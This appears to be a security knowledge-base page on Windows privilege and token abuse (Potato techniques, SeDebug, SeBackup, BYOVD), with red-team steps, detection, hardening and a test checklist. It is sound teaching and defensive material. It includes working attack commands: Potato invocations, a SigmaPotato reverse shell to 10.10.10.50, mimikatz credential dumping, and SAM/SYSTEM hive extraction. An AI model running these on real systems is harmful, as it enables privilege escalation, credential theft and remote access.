Privilege and Token Abuse
On Windows, what a process can do isn’t decided solely by “being admin”: it’s decided by its access
token, which carries the user’s SID, their groups and a list of privileges (SeXxxPrivilege).
Several of those privileges, even if they don’t make you an administrator on paper, let you reach
SYSTEM directly. Enumerating whoami /priv and knowing what each privilege does is often the whole
escalation. The broken invariant: certain privileges are equivalent to SYSTEM even though Windows
grants them to “normal” service accounts (IIS, MSSQL, tasks).
flowchart LR
T["whoami /priv"] -->|SeImpersonate| P["Potato: impersonate SYSTEM token"]
T -->|SeDebug| L["dump LSASS"]
T -->|SeBackup| S["read SAM / NTDS.dit"]
T -->|SeLoadDriver| B["BYOVD: kernel execution"]
P --> SYS["SYSTEM"]
Threat model
Section titled “Threat model”- Who attacks: someone who inherits the token of a service account (IIS, MSSQL, a task) with one or more dangerous privileges enabled.
- What it breaks: the idea that those privileges are harmless in the hands of a service account. Several are, in practice, full host control. Nothing needs breaking: the privilege is already granted.
- What it gains: direct local SYSTEM (impersonation), dumping all the host’s credentials (debug/backup), or kernel execution (load driver).
- On a DC:
SeBackupPrivilegeoverNTDS.dit= all the domain’s hashes.
Anatomy
Section titled “Anatomy”The access token
Section titled “The access token”Each process carries a token with the SID, the groups and a list of privileges, each enabled or
disabled. whoami /priv lists them. The token also carries an integrity level
(Low/Medium/High/System): going from Medium to High is UAC bypass; from High
to System is, typically, impersonation or services.
Primary token vs impersonation token
Section titled “Primary token vs impersonation token”A primary token defines a process’s context; an impersonation token lets a thread temporarily act
as another identity. SeImpersonatePrivilege lets you take the impersonation token of a connecting
client; the Potato family turns that into a SYSTEM primary token.
Variants
Section titled “Variants”SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege — the Potato family
Section titled “SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege — the Potato family”The most common privilege on service accounts. The Potato techniques force a SYSTEM service (spooler, RPC, DCOM, EFS) to authenticate to the attacker, who steals and impersonates its token. The family has evolved to keep working on modern Windows:
| Tool | Mechanism | Supported OS |
|---|---|---|
| GodPotato | DCOM/RPCSS | Win8–11, Server 2012–2022 (x64) |
| PrintSpoofer | spooler named pipe | Server 2016–2019+, if the spooler is on |
| SigmaPotato | Event Log service (in-memory, .NET) | modern Win10/11 |
| EfsPotato / SharpEfsPotato | EFSRPC pipes | Win10+, Server 2016+ |
| DCOMPotato | service DCOM objects | modern |
| RoguePotato | remote OXID resolver | Win10 1809+/Server 2019+ |
| DeadPotato | Potato + built-in post-ex | modern |
PrintSpoofer.exe -i -c "cmd.exe" # SeImpersonate -> SYSTEMGodPotato.exe -cmd "cmd /c whoami"SigmaPotato.exe --revshell 10.10.10.50 443 # in-memory variantSeDebugPrivilege
Section titled “SeDebugPrivilege”Open any process, including LSASS → dump credentials (procdump, mimikatz sekurlsa) or inject
into SYSTEM processes:
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsSeBackupPrivilege / SeRestorePrivilege
Section titled “SeBackupPrivilege / SeRestorePrivilege”SeBackup ignores ACLs on read → copy the SAM, SYSTEM, SECURITY or NTDS.dit hives even if
protected. SeRestore ignores ACLs on write → overwrite protected binaries or service keys:
reg save HKLM\SAM sam.hive # with SeBackupreg save HKLM\SYSTEM system.hive# then, offline: secretsdump.py -sam sam.hive -system system.hive LOCALSeTakeOwnershipPrivilege
Section titled “SeTakeOwnershipPrivilege”Take ownership of any object (file, key, service) to rewrite its DACL and modify it → control of a privileged binary/service.
SeLoadDriverPrivilege — BYOVD
Section titled “SeLoadDriverPrivilege — BYOVD”Load drivers → Bring Your Own Vulnerable Driver: load a signed but vulnerable driver and exploit it to execute in the kernel (RTCore64, Capcom, Dell dbutil). Increasingly stopped by Microsoft’s driver blocklist (see Blue Team).
SeTcbPrivilege / SeCreateTokenPrivilege
Section titled “SeTcbPrivilege / SeCreateTokenPrivilege”Forge arbitrary tokens (act as part of the OS). Maximum impact, less common.
Red Team
Section titled “Red Team”Investigator workflow
Section titled “Investigator workflow”whoami /priv: lists all enabled and disabled privileges.- SeImpersonate/SeAssignPrimaryToken? → Potato (pick the variant by OS and active services).
- Stripped token (Local/Network Service)? → FullPowers first.
- SeDebug? → dump LSASS. SeBackup? → SAM/NTDS.dit. SeLoadDriver? → BYOVD.
- Tokens of other logged-in users impersonable? → incognito.
- PrintSpoofer / GodPotato / SigmaPotato / EfsPotato / RoguePotato: SeImpersonate exploitation.
- FullPowers: recover privileges of stripped service accounts.
- mimikatz (
token::elevate,privilege::debug,sekurlsa): token manipulation and dumping. - incognito (Metasploit
list_tokens/impersonate_token): steal tokens of logged-in users. - secretsdump (Impacket): process SAM/SYSTEM hives offline.
Impact and chaining
Section titled “Impact and chaining”Direct local SYSTEM (impersonation), dumping all the host’s credentials (debug/backup), kernel
execution (load driver). On a DC, SeBackup over NTDS.dit yields all the domain’s hashes
(credential dumping).
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Service accounts with SYSTEM shells after named-pipe activity (Potato).
- LSASS access (Sysmon event 10 with suspicious
GrantedAccess) → SeDebug/dump. reg saveof SAM/SYSTEM/SECURITY; driver loads that are unusual (Sysmon event 6, service 7045 of kernel type).- Use of
SeBackupPrivilegeto open protected files.
Telemetry and sources
Section titled “Telemetry and sources”- Auditing of special privilege assignment (event 4672 at logon, 4673/4674 sensitive privilege use).
- Sysmon 1/6/10, service/driver creation.
Hardening
Section titled “Hardening”- Least privilege on service accounts: remove SeImpersonate/SeDebug/SeBackup if not essential; use gMSA with scoped rights.
- LSA protection (RunAsPPL) and Credential Guard against dumping via SeDebug. On new Windows 11
22H2+ installs LSA protection is on by default (
RunAsPPL=2without UEFI lock); with UEFI lock it’sRunAsPPL=1. - Microsoft vulnerable driver blocklist (default since Windows 11 2022, enforced with HVCI/Smart App Control) and App Control for Business to stop BYOVD.
- Restrict who has SeBackup/SeRestore (real backup operators, not application accounts).
Response
Section titled “Response”If a privilege led to SYSTEM or credentials, treat the host as compromised: rotate secrets, review what was dumped and remove the surplus privilege from the affected account.
CVEs and real cases
Section titled “CVEs and real cases”- The Potato family (SeImpersonate) is a standard TTP against IIS/MSSQL (MITRE T1134.001/.002).
- BYOVD: ransomware and APT campaigns load vulnerable drivers (RTCore64, Capcom, Dell dbutil CVE-2021-21551) to disable the EDR; CVE-2025-59033 showed the blocklist isn’t enough without HVCI.
- SeBackupPrivilege → NTDS.dit is a common post-exploitation technique on DCs (MITRE T1003.003).
- mimikatz
sekurlsavia SeDebug: one of the most documented TTPs in real breaches.
Test checklist
Section titled “Test checklist”-
whoami /priv— list all enabled/disabled privileges. - SeImpersonate/SeAssignPrimaryToken → Potato (variant by OS); FullPowers if stripped.
- SeDebug → LSASS dump (mimikatz/procdump).
- SeBackup →
reg saveof SAM/SYSTEM or reading NTDS.dit. - SeRestore/SeTakeOwnership → rewrite a protected binary/service.
- SeLoadDriver → BYOVD (signed vulnerable driver).
- Tokens of other logged-in users impersonable (incognito).
- Is LSASS protected (RunAsPPL/Credential Guard)?